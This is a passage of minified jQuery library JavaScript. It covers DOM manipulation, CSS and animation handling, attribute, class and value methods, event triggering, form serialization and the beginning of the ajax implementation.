e&&!ke.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=S.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(S.cleanData(ve(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return He(this,arguments,function(e){var t=this.parentNode;S.inArray(this,n)<0&&(S.cleanData(ve(this)),t&&t.replaceChild(e,this))},n)}}),S.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,a){S.fn[e]=function(e){for(var t,n=[],r=S(e),i=r.length-1,o=0;o<=i;o++)t=o===i?this:this.clone(!0),S(r[o])[a](t),u.apply(n,t.get());return this.pushStack(n)}});var Pe=new RegExp("^("+ee+")(?!px)[a-z%]+$","i"),Re=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=C),t.getComputedStyle(e)},Me=function(e,t,n){var r,i,o={};for(i in t)o[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=o[i];return r},Ie=new RegExp(ne.join("|"),"i");function We(e,t,n){var r,i,o,a,s=e.style;return(n=n||Re(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||ie(e)||(a=S.style(e,t)),!y.pixelBoxStyles()&&Pe.test(a)&&Ie.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+"":a}function Fe(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){u.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",l.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",re.appendChild(u).appendChild(l);var e=C.getComputedStyle(l);n="1%"!==e.top,s=12===t(e.marginLeft),l.style.right="60%",o=36===t(e.right),r=36===t(e.width),l.style.position="absolute",i=12===t(l.offsetWidth/3),re.removeChild(u),l=null}}function t(e){return Math.round(parseFloat(e))}var n,r,i,o,a,s,u=E.createElement("div"),l=E.createElement("div");l.style&&(l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",y.clearCloneStyle="content-box"===l.style.backgroundClip,S.extend(y,{boxSizingReliable:function(){return e(),r},pixelBoxStyles:function(){return e(),o},pixelPosition:function(){return e(),n},reliableMarginLeft:function(){return e(),s},scrollboxSize:function(){return e(),i},reliableTrDimensions:function(){var e,t,n,r;return null==a&&(e=E.createElement("table"),t=E.createElement("tr"),n=E.createElement("div"),e.style.cssText="position:absolute;left:-11111px;border-collapse:separate",t.style.cssText="border:1px solid",t.style.height="1px",n.style.height="9px",n.style.display="block",re.appendChild(e).appendChild(t).appendChild(n),r=C.getComputedStyle(t),a=parseInt(r.height,10)+parseInt(r.borderTopWidth,10)+parseInt(r.borderBottomWidth,10)===t.offsetHeight,re.removeChild(e)),a}}))}();var Be=["Webkit","Moz","ms"],$e=E.createElement("div").style,_e={};function ze(e){var t=S.cssProps[e]||_e[e];return t||(e in $e?e:_e[e]=function(e){var t=e[0].toUpperCase()+e.slice(1),n=Be.length;while(n--)if((e=Be[n]+t)in $e)return e}(e)||e)}var Ue=/^(none|table(?!-c[ea]).+)/,Xe=/^--/,Ve={position:"absolute",visibility:"hidden",display:"block"},Ge={letterSpacing:"0",fontWeight:"400"};function Ye(e,t,n){var r=te.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Qe(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=S.css(e,n+ne[a],!0,i)),r?("content"===n&&(u-=S.css(e,"padding"+ne[a],!0,i)),"margin"!==n&&(u-=S.css(e,"border"+ne[a]+"Width",!0,i))):(u+=S.css(e,"padding"+ne[a],!0,i),"padding"!==n?u+=S.css(e,"border"+ne[a]+"Width",!0,i):s+=S.css(e,"border"+ne[a]+"Width",!0,i));return!r&&0<=o&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))||0),u}function Je(e,t,n){var r=Re(e),i=(!y.boxSizingReliable()||n)&&"border-box"===S.css(e,"boxSizing",!1,r),o=i,a=We(e,t,r),s="offset"+t[0].toUpperCase()+t.slice(1);if(Pe.test(a)){if(!n)return a;a="auto"}return(!y.boxSizingReliable()&&i||!y.reliableTrDimensions()&&A(e,"tr")||"auto"===a||!parseFloat(a)&&"inline"===S.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===S.css(e,"boxSizing",!1,r),(o=s in e)&&(a=e[s])),(a=parseFloat(a)||0)+Qe(e,t,n||(i?"border":"content"),o,r,a)+"px"}function Ke(e,t,n,r,i){return new Ke.prototype.init(e,t,n,r,i)}S.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=We(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=X(t),u=Xe.test(t),l=e.style;if(u||(t=ze(s)),a=S.cssHooks[t]||S.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"===(o=typeof n)&&(i=te.exec(n))&&i[1]&&(n=se(e,t,i),o="number"),null!=n&&n==n&&("number"!==o||u||(n+=i&&i[3]||(S.cssNumber[s]?"":"px")),y.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=X(t);return Xe.test(t)||(t=ze(s)),(a=S.cssHooks[t]||S.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=We(e,t,r)),"normal"===i&&t in Ge&&(i=Ge[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),S.each(["height","width"],function(e,u){S.cssHooks[u]={get:function(e,t,n){if(t)return!Ue.test(S.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?Je(e,u,n):Me(e,Ve,function(){return Je(e,u,n)})},set:function(e,t,n){var r,i=Re(e),o=!y.scrollboxSize()&&"absolute"===i.position,a=(o||n)&&"border-box"===S.css(e,"boxSizing",!1,i),s=n?Qe(e,u,n,a,i):0;return a&&o&&(s-=Math.ceil(e["offset"+u[0].toUpperCase()+u.slice(1)]-parseFloat(i[u])-Qe(e,u,"border",!1,i)-.5)),s&&(r=te.exec(t))&&"px"!==(r[3]||"px")&&(e.style[u]=t,t=S.css(e,u)),Ye(0,t,s)}}}),S.cssHooks.marginLeft=Fe(y.reliableMarginLeft,function(e,t){if(t)return(parseFloat(We(e,"marginLeft"))||e.getBoundingClientRect().left-Me(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),S.each({margin:"",padding:"",border:"Width"},function(i,o){S.cssHooks[i+o]={expand:function(e){for(var t=0,n={},r="string"==typeof e?e.split(" "):[e];t<4;t++)n[i+ne[t]+o]=r[t]||r[t-2]||r[0];return n}},"margin"!==i&&(S.cssHooks[i+o].set=Ye)}),S.fn.extend({css:function(e,t){return $(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=Re(e),i=t.length;a<i;a++)o[t[a]]=S.css(e,t[a],!1,r);return o}return void 0!==n?S.style(e,t,n):S.css(e,t)},e,t,1<arguments.length)}}),((S.Tween=Ke).prototype={constructor:Ke,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||S.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(S.cssNumber[n]?"":"px")},cur:function(){var e=Ke.propHooks[this.prop];return e&&e.get?e.get(this):Ke.propHooks._default.get(this)},run:function(e){var t,n=Ke.propHooks[this.prop];return this.options.duration?this.pos=t=S.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):Ke.propHooks._default.set(this),this}}).init.prototype=Ke.prototype,(Ke.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=S.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){S.fx.step[e.prop]?S.fx.step[e.prop](e):1!==e.elem.nodeType||!S.cssHooks[e.prop]&&null==e.elem.style[ze(e.prop)]?e.elem[e.prop]=e.now:S.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=Ke.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},S.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},S.fx=Ke.prototype.init,S.fx.step={};var Ze,et,tt,nt,rt=/^(?:toggle|show|hide)$/,it=/queueHooks$/;function ot(){et&&(!1===E.hidden&&C.requestAnimationFrame?C.requestAnimationFrame(ot):C.setTimeout(ot,S.fx.interval),S.fx.tick())}function at(){return C.setTimeout(function(){Ze=void 0}),Ze=Date.now()}function st(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=ne[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function ut(e,t,n){for(var r,i=(lt.tweeners[t]||[]).concat(lt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function lt(o,e,t){var n,a,r=0,i=lt.prefilters.length,s=S.Deferred().always(function(){delete u.elem}),u=function(){if(a)return!1;for(var e=Ze||at(),t=Math.max(0,l.startTime+l.duration-e),n=1-(t/l.duration||0),r=0,i=l.tweens.length;r<i;r++)l.tweens[r].run(n);return s.notifyWith(o,[l,n,t]),n<1&&i?t:(i||s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l]),!1)},l=s.promise({elem:o,props:S.extend({},e),opts:S.extend(!0,{specialEasing:{},easing:S.easing._default},t),originalProperties:e,originalOptions:t,startTime:Ze||at(),duration:t.duration,tweens:[],createTween:function(e,t){var n=S.Tween(o,l.opts,e,t,l.opts.specialEasing[e]||l.opts.easing);return l.tweens.push(n),n},stop:function(e){var t=0,n=e?l.tweens.length:0;if(a)return this;for(a=!0;t<n;t++)l.tweens[t].run(1);return e?(s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l,e])):s.rejectWith(o,[l,e]),this}}),c=l.props;for(!function(e,t){var n,r,i,o,a;for(n in e)if(i=t[r=X(n)],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=S.cssHooks[r])&&"expand"in a)for(n in o=a.expand(o),delete e[r],o)n in e||(e[n]=o[n],t[n]=i);else t[r]=i}(c,l.opts.specialEasing);r<i;r++)if(n=lt.prefilters[r].call(l,o,c,l.opts))return m(n.stop)&&(S._queueHooks(l.elem,l.opts.queue).stop=n.stop.bind(n)),n;return S.map(c,ut,l),m(l.opts.start)&&l.opts.start.call(o,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),S.fx.timer(S.extend(u,{elem:o,anim:l,queue:l.opts.queue})),l}S.Animation=S.extend(lt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return se(n.elem,e,te.exec(t),n),n}]},tweener:function(e,t){m(e)?(t=e,e=["*"]):e=e.match(P);for(var n,r=0,i=e.length;r<i;r++)n=e[r],lt.tweeners[n]=lt.tweeners[n]||[],lt.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),v=Y.get(e,"fxshow");for(r in n.queue||(null==(a=S._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,S.queue(e,"fx").length||a.empty.fire()})})),t)if(i=t[r],rt.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!v||void 0===v[r])continue;g=!0}d[r]=v&&v[r]||S.style(e,r)}if((u=!S.isEmptyObject(t))||!S.isEmptyObject(d))for(r in f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=v&&v.display)&&(l=Y.get(e,"display")),"none"===(c=S.css(e,"display"))&&(l?c=l:(le([e],!0),l=e.style.display||l,c=S.css(e,"display"),le([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===S.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1,d)u||(v?"hidden"in v&&(g=v.hidden):v=Y.access(e,"fxshow",{display:l}),o&&(v.hidden=!g),g&&le([e],!0),p.done(function(){for(r in g||le([e]),Y.remove(e,"fxshow"),d)S.style(e,r,d[r])})),u=ut(g?v[r]:0,r,p),r in v||(v[r]=u.start,g&&(u.end=u.start,u.start=0))}],prefilter:function(e,t){t?lt.prefilters.unshift(e):lt.prefilters.push(e)}}),S.speed=function(e,t,n){var r=e&&"object"==typeof e?S.extend({},e):{complete:n||!n&&t||m(e)&&e,duration:e,easing:n&&t||t&&!m(t)&&t};return S.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in S.fx.speeds?r.duration=S.fx.speeds[r.duration]:r.duration=S.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){m(r.old)&&r.old.call(this),r.queue&&S.dequeue(this,r.queue)},r},S.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(t,e,n,r){var i=S.isEmptyObject(t),o=S.speed(e,n,r),a=function(){var e=lt(this,S.extend({},t),o);(i||Y.get(this,"finish"))&&e.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(i,e,o){var a=function(e){var t=e.stop;delete e.stop,t(o)};return"string"!=typeof i&&(o=e,e=i,i=void 0),e&&this.queue(i||"fx",[]),this.each(function(){var e=!0,t=null!=i&&i+"queueHooks",n=S.timers,r=Y.get(this);if(t)r[t]&&r[t].stop&&a(r[t]);else for(t in r)r[t]&&r[t].stop&&it.test(t)&&a(r[t]);for(t=n.length;t--;)n[t].elem!==this||null!=i&&n[t].queue!==i||(n[t].anim.stop(o),e=!1,n.splice(t,1));!e&&o||S.dequeue(this,i)})},finish:function(a){return!1!==a&&(a=a||"fx"),this.each(function(){var e,t=Y.get(this),n=t[a+"queue"],r=t[a+"queueHooks"],i=S.timers,o=n?n.length:0;for(t.finish=!0,S.queue(this,a,[]),r&&r.stop&&r.stop.call(this,!0),e=i.length;e--;)i[e].elem===this&&i[e].queue===a&&(i[e].anim.stop(!0),i.splice(e,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),S.each(["toggle","show","hide"],function(e,r){var i=S.fn[r];S.fn[r]=function(e,t,n){return null==e||"boolean"==typeof e?i.apply(this,arguments):this.animate(st(r,!0),e,t,n)}}),S.each({slideDown:st("show"),slideUp:st("hide"),slideToggle:st("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,r){S.fn[e]=function(e,t,n){return this.animate(r,e,t,n)}}),S.timers=[],S.fx.tick=function(){var e,t=0,n=S.timers;for(Ze=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||S.fx.stop(),Ze=void 0},S.fx.timer=function(e){S.timers.push(e),S.fx.start()},S.fx.interval=13,S.fx.start=function(){et||(et=!0,ot())},S.fx.stop=function(){et=null},S.fx.speeds={slow:600,fast:200,_default:400},S.fn.delay=function(r,e){return r=S.fx&&S.fx.speeds[r]||r,e=e||"fx",this.queue(e,function(e,t){var n=C.setTimeout(e,r);t.stop=function(){C.clearTimeout(n)}})},tt=E.createElement("input"),nt=E.createElement("select").appendChild(E.createElement("option")),tt.type="checkbox",y.checkOn=""!==tt.value,y.optSelected=nt.selected,(tt=E.createElement("input")).value="t",tt.type="radio",y.radioValue="t"===tt.value;var ct,ft=S.expr.attrHandle;S.fn.extend({attr:function(e,t){return $(this,S.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){S.removeAttr(this,e)})}}),S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)||(i=S.attrHooks[t.toLowerCase()]||(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=S.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!y.radioValue&&"radio"===t&&A(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(P);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),ct={set:function(e,t,n){return!1===t?S.removeAttr(e,n):e.setAttribute(n,n),n}},S.each(S.expr.match.bool.source.match(/\w+/g),function(e,t){var a=ft[t]||S.find.attr;ft[t]=function(e,t,n){var r,i,o=t.toLowerCase();return n||(i=ft[o],ft[o]=r,r=null!=a(e,t,n)?o:null,ft[o]=i),r}});var pt=/^(?:input|select|textarea|button)$/i,dt=/^(?:a|area)$/i;function ht(e){return(e.match(P)||[]).join(" ")}function gt(e){return e.getAttribute&&e.getAttribute("class")||""}function vt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(P)||[]}S.fn.extend({prop:function(e,t){return $(this,S.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[S.propFix[e]||e]})}}),S.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&S.isXMLDoc(e)||(t=S.propFix[t]||t,i=S.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=S.find.attr(e,"tabindex");return t?parseInt(t,10):pt.test(e.nodeName)||dt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),y.optSelected||(S.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),S.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){S.propFix[this.toLowerCase()]=this}),S.fn.extend({addClass:function(t){var e,n,r,i,o,a,s,u=0;if(m(t))return this.each(function(e){S(this).addClass(t.call(this,e,gt(this)))});if((e=vt(t)).length)while(n=this[u++])if(i=gt(n),r=1===n.nodeType&&" "+ht(i)+" "){a=0;while(o=e[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=ht(r))&&n.setAttribute("class",s)}return this},removeClass:function(t){var e,n,r,i,o,a,s,u=0;if(m(t))return this.each(function(e){S(this).removeClass(t.call(this,e,gt(this)))});if(!arguments.length)return this.attr("class","");if((e=vt(t)).length)while(n=this[u++])if(i=gt(n),r=1===n.nodeType&&" "+ht(i)+" "){a=0;while(o=e[a++])while(-1<r.indexOf(" "+o+" "))r=r.replace(" "+o+" "," ");i!==(s=ht(r))&&n.setAttribute("class",s)}return this},toggleClass:function(i,t){var o=typeof i,a="string"===o||Array.isArray(i);return"boolean"==typeof t&&a?t?this.addClass(i):this.removeClass(i):m(i)?this.each(function(e){S(this).toggleClass(i.call(this,e,gt(this),t),t)}):this.each(function(){var e,t,n,r;if(a){t=0,n=S(this),r=vt(i);while(e=r[t++])n.hasClass(e)?n.removeClass(e):n.addClass(e)}else void 0!==i&&"boolean"!==o||((e=gt(this))&&Y.set(this,"__className__",e),this.setAttribute&&this.setAttribute("class",e||!1===i?"":Y.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&-1<(" "+ht(gt(n))+" ").indexOf(t))return!0;return!1}});var yt=/\r/g;S.fn.extend({val:function(n){var r,e,i,t=this[0];return arguments.length?(i=m(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=i?n.call(this,e,S(this).val()):n)?t="":"number"==typeof t?t+="":Array.isArray(t)&&(t=S.map(t,function(e){return null==e?"":e+""})),(r=S.valHooks[this.type]||S.valHooks[this.nodeName.toLowerCase()])&&"set"in r&&void 0!==r.set(this,t,"value")||(this.value=t))})):t?(r=S.valHooks[t.type]||S.valHooks[t.nodeName.toLowerCase()])&&"get"in r&&void 0!==(e=r.get(t,"value"))?e:"string"==typeof(e=t.value)?e.replace(yt,""):null==e?"":e:void 0}}),S.extend({valHooks:{option:{get:function(e){var t=S.find.attr(e,"value");return null!=t?t:ht(S.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!A(n.parentNode,"optgroup"))){if(t=S(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=S.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=-1<S.inArray(S.valHooks.option.get(r),o))&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),S.each(["radio","checkbox"],function(){S.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<S.inArray(S(e).val(),t)}},y.checkOn||(S.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),y.focusin="onfocusin"in C;var mt=/^(?:focusinfocus|focusoutblur)$/,xt=function(e){e.stopPropagation()};S.extend(S.event,{trigger:function(e,t,n,r){var i,o,a,s,u,l,c,f,p=[n||E],d=v.call(e,"type")?e.type:e,h=v.call(e,"namespace")?e.namespace.split("."):[];if(o=f=a=n=n||E,3!==n.nodeType&&8!==n.nodeType&&!mt.test(d+S.event.triggered)&&(-1<d.indexOf(".")&&(d=(h=d.split(".")).shift(),h.sort()),u=d.indexOf(":")<0&&"on"+d,(e=e[S.expando]?e:new S.Event(d,"object"==typeof e&&e)).isTrigger=r?2:3,e.namespace=h.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:S.makeArray(t,[e]),c=S.event.special[d]||{},r||!c.trigger||!1!==c.trigger.apply(n,t))){if(!r&&!c.noBubble&&!x(n)){for(s=c.delegateType||d,mt.test(s+d)||(o=o.parentNode);o;o=o.parentNode)p.push(o),a=o;a===(n.ownerDocument||E)&&p.push(a.defaultView||a.parentWindow||C)}i=0;while((o=p[i++])&&!e.isPropagationStopped())f=o,e.type=1<i?s:c.bindType||d,(l=(Y.get(o,"events")||Object.create(null))[e.type]&&Y.get(o,"handle"))&&l.apply(o,t),(l=u&&o[u])&&l.apply&&V(o)&&(e.result=l.apply(o,t),!1===e.result&&e.preventDefault());return e.type=d,r||e.isDefaultPrevented()||c._default&&!1!==c._default.apply(p.pop(),t)||!V(n)||u&&m(n[d])&&!x(n)&&((a=n[u])&&(n[u]=null),S.event.triggered=d,e.isPropagationStopped()&&f.addEventListener(d,xt),n[d](),e.isPropagationStopped()&&f.removeEventListener(d,xt),S.event.triggered=void 0,a&&(n[u]=a)),e.result}},simulate:function(e,t,n){var r=S.extend(new S.Event,n,{type:e,isSimulated:!0});S.event.trigger(r,null,t)}}),S.fn.extend({trigger:function(e,t){return this.each(function(){S.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return S.event.trigger(e,t,n,!0)}}),y.focusin||S.each({focus:"focusin",blur:"focusout"},function(n,r){var i=function(e){S.event.simulate(r,e.target,S.event.fix(e))};S.event.special[r]={setup:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r);t||e.addEventListener(n,i,!0),Y.access(e,r,(t||0)+1)},teardown:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r)-1;t?Y.access(e,r,t):(e.removeEventListener(n,i,!0),Y.remove(e,r))}}});var bt=C.location,wt={guid:Date.now()},Tt=/\?/;S.parseXML=function(e){var t,n;if(!e||"string"!=typeof e)return null;try{t=(new C.DOMParser).parseFromString(e,"text/xml")}catch(e){}return n=t&&t.getElementsByTagName("parsererror")[0],t&&!n||S.error("Invalid XML: "+(n?S.map(n.childNodes,function(e){return e.textContent}).join("\n"):e)),t};var Ct=/\[\]$/,Et=/\r?\n/g,St=/^(?:submit|button|image|reset|file)$/i,kt=/^(?:input|select|textarea|keygen)/i;function At(n,e,r,i){var t;if(Array.isArray(e))S.each(e,function(e,t){r||Ct.test(n)?i(n,t):At(n+"["+("object"==typeof t&&null!=t?e:"")+"]",t,r,i)});else if(r||"object"!==w(e))i(n,e);else for(t in e)At(n+"["+t+"]",e[t],r,i)}S.param=function(e,t){var n,r=[],i=function(e,t){var n=m(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!S.isPlainObject(e))S.each(e,function(){i(this.name,this.value)});else for(n in e)At(n,e[n],t,i);return r.join("&")},S.fn.extend({serialize:function(){return S.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=S.prop(this,"elements");return e?S.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!S(this).is(":disabled")&&kt.test(this.nodeName)&&!St.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=S(this).val();return null==n?null:Array.isArray(n)?S.map(n,function(e){return{name:t.name,value:e.replace(Et,"\r\n")}}):{name:t.name,value:n.replace(Et,"\r\n")}}).get()}});var Nt=/%20/g,jt=/#.*$/,Dt=/([?&])_=[^&]*/,qt=/^(.*?):[ \t]*([^\r\n]*)$/gm,Lt=/^(?:GET|HEAD)$/,Ht=/^\/\//,Ot={},Pt={},Rt="*/".concat("*"),Mt=E.createElement("a");function It(o){return function(e,t){"string"!=typeof e&&(t=e,e="*");var n,r=0,i=e.toLowerCase().match(P)||[];if(m(t))while(n=i[r++])"+"===n[0]?(n=n.slice(1)||"*",(o[n]=o[n]||[]).unshift(t)):(o[n]=o[n]||[]).push(t)}}function Wt(t,i,o,a){var s={},u=t===Pt;function l(e){var r;return s[e]=!0,S.each(t[e]||[],function(e,t){var n=t(i,o,a);return"string"!=typeof n||u||s[n]?u?!(r=n):void 0:(i.dataTypes.unshift(n),l(n),!1)}),r}return l(i.dataTypes[0])||!s["*"]&&l("*")}function Ft(e,t){var n,r,i=S.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&S.extend(!0,e,r),e}Mt.href=bt.href,S.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:bt.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(bt.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Rt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":S.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Ft(Ft(e,S.ajaxSettings),t):Ft(S.ajaxSettings,e)},ajaxPrefilter:It(Ot),ajaxTransport:It(Pt),ajax:function(e,t){"object"==typeof e&&(t=e,e=void 0),t=t||{};var c,f,p,n,d,r,h,g,i,o,v=S.ajaxSetup({},t),y=v.context||v,m=v.context&&(y.nodeType||y.jquery)?S(y):S.event,x=S.Deferred(),b=S.Callbacks("once memory"),w=v.statusCode||{},a={},s={},u="canceled",T={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n){n={};while(t=qt.exec(p))n[t[1].toLowerCase()+" "]=(n[t[1].toLowerCase()+" "]||[]).concat(t[2])}t=n[e.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,a[e]=t),this},overrideMimeType:function(e){return null==h&&(v.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)T.always(e[T.status]);else for(t in e)w[t]=[w[t],e[t]];return this},abort:function(e){var t=e||u;return 